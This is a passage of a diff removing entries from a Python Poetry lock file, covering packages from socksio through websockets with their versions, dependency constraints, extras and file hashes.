-    {file = "socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3"},
-    {file = "socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac"},
-]
-
-[[package]]
-name = "soupsieve"
-version = "2.8.3"
-description = "A modern CSS selector implementation for Beautiful Soup."
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "docs"]
-files = [
-    {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"},
-    {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"},
-]
-
-[[package]]
-name = "starlette"
-version = "1.3.1"
-description = "The little ASGI library that shines."
-optional = false
-python-versions = ">=3.10"
-groups = ["main", "dev"]
-files = [
-    {file = "starlette-1.3.1-py3-none-any.whl", hash = "sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6"},
-    {file = "starlette-1.3.1.tar.gz", hash = "sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0"},
-]
-
-[package.dependencies]
-anyio = ">=3.6.2,<5"
-typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\""}
-
-[package.extras]
-full = ["httpx (>=0.27.0,<0.29.0)", "httpx2 (>=2.0.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"]
-
-[[package]]
-name = "tabulate"
-version = "0.8.10"
-description = "Pretty-print tabular data"
-optional = false
-python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
-groups = ["main"]
-files = [
-    {file = "tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc"},
-    {file = "tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519"},
-]
-
-[package.extras]
-widechars = ["wcwidth"]
-
-[[package]]
-name = "tldextract"
-version = "5.3.0"
-description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well."
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "tldextract-5.3.0-py3-none-any.whl", hash = "sha256:f70f31d10b55c83993f55e91ecb7c5d84532a8972f22ec578ecfbe5ea2292db2"},
-    {file = "tldextract-5.3.0.tar.gz", hash = "sha256:b3d2b70a1594a0ecfa6967d57251527d58e00bb5a91a74387baa0d87a0678609"},
-]
-
-[package.dependencies]
-filelock = ">=3.0.8"
-idna = "*"
-requests = ">=2.1.0"
-requests-file = ">=1.4"
-
-[package.extras]
-release = ["build", "twine"]
-testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ruff", "syrupy", "tox", "tox-uv", "types-filelock", "types-requests"]
-
-[[package]]
-name = "tomli"
-version = "2.4.0"
-description = "A lil' TOML parser"
-optional = false
-python-versions = ">=3.8"
-groups = ["dev"]
-markers = "python_full_version <= \"3.11.0a6\""
-files = [
-    {file = "tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867"},
-    {file = "tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9"},
-    {file = "tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95"},
-    {file = "tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76"},
-    {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d"},
-    {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576"},
-    {file = "tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a"},
-    {file = "tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa"},
-    {file = "tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614"},
-    {file = "tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1"},
-    {file = "tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8"},
-    {file = "tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a"},
-    {file = "tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1"},
-    {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b"},
-    {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51"},
-    {file = "tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729"},
-    {file = "tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da"},
-    {file = "tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3"},
-    {file = "tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0"},
-    {file = "tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e"},
-    {file = "tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4"},
-    {file = "tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e"},
-    {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c"},
-    {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f"},
-    {file = "tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86"},
-    {file = "tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87"},
-    {file = "tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132"},
-    {file = "tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6"},
-    {file = "tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc"},
-    {file = "tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66"},
-    {file = "tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d"},
-    {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702"},
-    {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8"},
-    {file = "tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776"},
-    {file = "tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475"},
-    {file = "tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2"},
-    {file = "tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9"},
-    {file = "tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0"},
-    {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df"},
-    {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d"},
-    {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f"},
-    {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b"},
-    {file = "tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087"},
-    {file = "tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd"},
-    {file = "tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4"},
-    {file = "tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a"},
-    {file = "tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c"},
-]
-
-[[package]]
-name = "tomlkit"
-version = "0.14.0"
-description = "Style preserving TOML library"
-optional = false
-python-versions = ">=3.9"
-groups = ["dev"]
-files = [
-    {file = "tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680"},
-    {file = "tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064"},
-]
-
-[[package]]
-name = "tornado"
-version = "6.5.7"
-description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed."
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "docs"]
-files = [
-    {file = "tornado-6.5.7-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:148b2eb15c2c765a50796172c1e499649b35f30d2e3c3d3e15913cfa56bfb163"},
-    {file = "tornado-6.5.7-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9da38de27f1da3b78a966f0dae12b5a1ea9afe72ca805d84ff06508272ddf100"},
-    {file = "tornado-6.5.7-cp39-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8d759e71906ee783f8867b93bf26a265743da4c1e2f4a018464c1ba019862972"},
-    {file = "tornado-6.5.7-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a46347a18f23fb92b396beebe0fb78f61dda0cc302445202c16203d8a18848b"},
-    {file = "tornado-6.5.7-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7778b30bef919231265e91c69963ce0f49a1e9c07ac900bbe75b19ce2575ba92"},
-    {file = "tornado-6.5.7-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e726f0c75da7726eec023aa62751ff8878bd2737e34fbdd33b1ae5897d2200f5"},
-    {file = "tornado-6.5.7-cp39-abi3-win32.whl", hash = "sha256:f8de3bf12d3efdd0cbe7c8887868198f8a91415e3f29fcf258d9b8eb7b1d9ae4"},
-    {file = "tornado-6.5.7-cp39-abi3-win_amd64.whl", hash = "sha256:de942f843533a039ef9fa3d9c88c7cd8a7c94553fb5ad0154270989b3d99a2c4"},
-    {file = "tornado-6.5.7-cp39-abi3-win_arm64.whl", hash = "sha256:ff934fce95643af5f11efdae618eaa73d469dc588641e5c8d19295a0c65c4796"},
-    {file = "tornado-6.5.7.tar.gz", hash = "sha256:66c513a76cda70d53907bc27cf1447557699c2e95aa48ba27a442ff61c3ddfc2"},
-]
-
-[[package]]
-name = "typing-extensions"
-version = "4.15.0"
-description = "Backported and Experimental Type Hints for Python 3.9+"
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"},
-    {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"},
-]
-
-[[package]]
-name = "typing-inspection"
-version = "0.4.2"
-description = "Runtime typing introspection tools"
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev"]
-files = [
-    {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"},
-    {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"},
-]
-
-[package.dependencies]
-typing-extensions = ">=4.12.0"
-
-[[package]]
-name = "unidecode"
-version = "1.4.0"
-description = "ASCII transliterations of Unicode text"
-optional = false
-python-versions = ">=3.7"
-groups = ["main"]
-files = [
-    {file = "Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021"},
-    {file = "Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23"},
-]
-
-[[package]]
-name = "urllib3"
-version = "2.7.0"
-description = "HTTP library with thread-safe connection pooling, file post, and more."
-optional = false
-python-versions = ">=3.10"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897"},
-    {file = "urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c"},
-]
-
-[package.extras]
-brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""]
-h2 = ["h2 (>=4,<5)"]
-socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"]
-zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""]
-
-[[package]]
-name = "uvicorn"
-version = "0.39.0"
-description = "The lightning-fast ASGI server."
-optional = false
-python-versions = ">=3.9"
-groups = ["dev"]
-files = [
-    {file = "uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a"},
-    {file = "uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302"},
-]
-
-[package.dependencies]
-click = ">=7.0"
-h11 = ">=0.8"
-typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""}
-
-[package.extras]
-standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"]
-
-[[package]]
-name = "verspec"
-version = "0.1.0"
-description = "Flexible version handling"
-optional = false
-python-versions = "*"
-groups = ["docs"]
-files = [
-    {file = "verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31"},
-    {file = "verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e"},
-]
-
-[package.extras]
-test = ["coverage", "flake8 (>=3.7)", "mypy", "pretend", "pytest"]
-
-[[package]]
-name = "virtualenv"
-version = "20.36.1"
-description = "Virtual Python Environment builder"
-optional = false
-python-versions = ">=3.8"
-groups = ["dev"]
-files = [
-    {file = "virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f"},
-    {file = "virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba"},
-]
-
-[package.dependencies]
-distlib = ">=0.3.7,<1"
-filelock = {version = ">=3.20.1,<4", markers = "python_version >= \"3.10\""}
-platformdirs = ">=3.9.1,<5"
-typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\""}
-
-[package.extras]
-docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"]
-test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8) ; platform_python_implementation == \"PyPy\" or platform_python_implementation == \"GraalVM\" or platform_python_implementation == \"CPython\" and sys_platform == \"win32\" and python_version >= \"3.13\"", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10) ; platform_python_implementation == \"CPython\""]
-
-[[package]]
-name = "watchdog"
-version = "6.0.0"
-description = "Filesystem events monitoring"
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26"},
-    {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112"},
-    {file = "watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3"},
-    {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c"},
-    {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2"},
-    {file = "watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c"},
-    {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948"},
-    {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860"},
-    {file = "watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0"},
-    {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c"},
-    {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134"},
-    {file = "watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b"},
-    {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e6f0e77c9417e7cd62af82529b10563db3423625c5fce018430b249bf977f9e8"},
-    {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:90c8e78f3b94014f7aaae121e6b909674df5b46ec24d6bebc45c44c56729af2a"},
-    {file = "watchdog-6.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e7631a77ffb1f7d2eefa4445ebbee491c720a5661ddf6df3498ebecae5ed375c"},
-    {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881"},
-    {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11"},
-    {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7a0e56874cfbc4b9b05c60c8a1926fedf56324bb08cfbc188969777940aef3aa"},
-    {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:e6439e374fc012255b4ec786ae3c4bc838cd7309a540e5fe0952d03687d8804e"},
-    {file = "watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13"},
-    {file = "watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379"},
-    {file = "watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e"},
-    {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f"},
-    {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26"},
-    {file = "watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c"},
-    {file = "watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2"},
-    {file = "watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a"},
-    {file = "watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680"},
-    {file = "watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f"},
-    {file = "watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282"},
-]
-
-[package.extras]
-watchmedo = ["PyYAML (>=3.10)"]
-
-[[package]]
-name = "websockets"
-version = "15.0.1"
-description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)"
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"},
-    {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"},
-    {file = "websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a"},
-    {file = "websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e"},
-    {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf"},
-    {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb"},
-    {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d"},
-    {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9"},
-    {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c"},
-    {file = "websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256"},
-    {file = "websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41"},
-    {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431"},
-    {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57"},
-    {file = "websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905"},
-    {file = "websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562"},
-    {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792"},
-    {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413"},
